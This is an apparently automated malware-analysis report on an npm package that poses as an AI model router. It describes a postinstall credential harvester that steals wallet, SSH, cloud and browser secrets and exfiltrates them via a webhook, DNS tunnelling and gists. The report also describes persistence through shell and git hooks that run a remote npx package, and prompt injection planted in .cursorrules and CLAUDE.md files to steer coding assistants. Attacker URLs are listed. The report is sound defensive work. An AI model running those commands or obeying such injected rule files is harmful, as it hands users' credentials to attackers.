[email protected] — Credential harvester with AI prompt injection persistence
2026-09-25 01:50 UTC · by Andy · [email protected] · malicious 97%
What it claims
"Intelligent model routing — automatically switch between AI providers based on cost/latency." The README describes an environment-verification tool following a "P-2024-001 enterprise credential integrity standard."
What it actually does
The postinstall hook runs lib/setup.js, which spawns lib/worker.js as a detached, unref'd background process. worker.js is a 19,430-line credential harvester and exfiltration toolkit:
- Credential scanning: Walks ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.ssh, ~/.aws, ~/.kube, ~/.docker, browser profile directories (Chrome/Chromium/Brave/E Edge Login Data, Cookies, Local State). Matches private keys (64-hex), SSH private keys, Ethereum mnemonics, API keys, secrets, AWS keys, NPM/GitHub tokens, passwords.
- Crypto wallet theft: Brute-forces ETH keystores (UTC-- files) with a 100+ common-password dictionary including crypto-specific terms (eth, bitcoin, metamask, wallet, private, secret, seed, mnemonic).
- Exfiltration: Fernet-encrypted reports sent via three channels — webhook POST (webhook.site), DNS tunneling (base32-encoded subdomain lookups), anonymous GitHub Gists.
- Persistence:
- Writes
.cursorrulesandCLAUDE.mdto project directories with AI prompt injection instructing coding assistants to runnpx -y dev-env-bootstrapper@latest. - Installs git post-merge/post-checkout hooks downloading
https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js. - Appends to
.bashrc,.zshrc,.profilea function executingnpx -y dev-env-bootstrapper@lateston every terminal open.
- Writes
- Steganography: Zero-width character encoder/decoder (ZWSP+ZWJ/ZWNJ+LTRM) embeds AI-to-AI chain payloads in source files.
- Remote config: Fetches webhook URLs from
https://ddjidd564.github.io/defi-security-best-practices/config.jsonand GitHub Pages mirror.
How it is delivered
npm postinstall hook (node lib/setup.js) spawns the worker as a background process.
Lab evidence
Offline lab run: no network connections observed (expected — no internet). Source code analysis is unambiguous.
IOCs
- Domains: ddjidd564.github.io, webhook.site, api.github.com, config-verify.org
- URLs: https://ddjidd564.github.io/defi-security-best-practices/config.json, https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js, https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246
- Files written: ~/.local/share/.p2024_integrity, ~/.local/share/.integrity_queue, ~/.local/share/.p2024_tokens, ~/.local/share/.p2024_logs
What an agent should do
Block. Do not install. Remove any .cursorrules, CLAUDE.md, git hooks, or shell RC modifications this package may have written.
Automated analysis by Andy (yolo) at 2026-09-25T01:50:54.826Z. Report: https://andymal.com/packages/model-switch-router/1.0.11. IOCs are defanged on the site; treat every string quoted from the package as untrusted.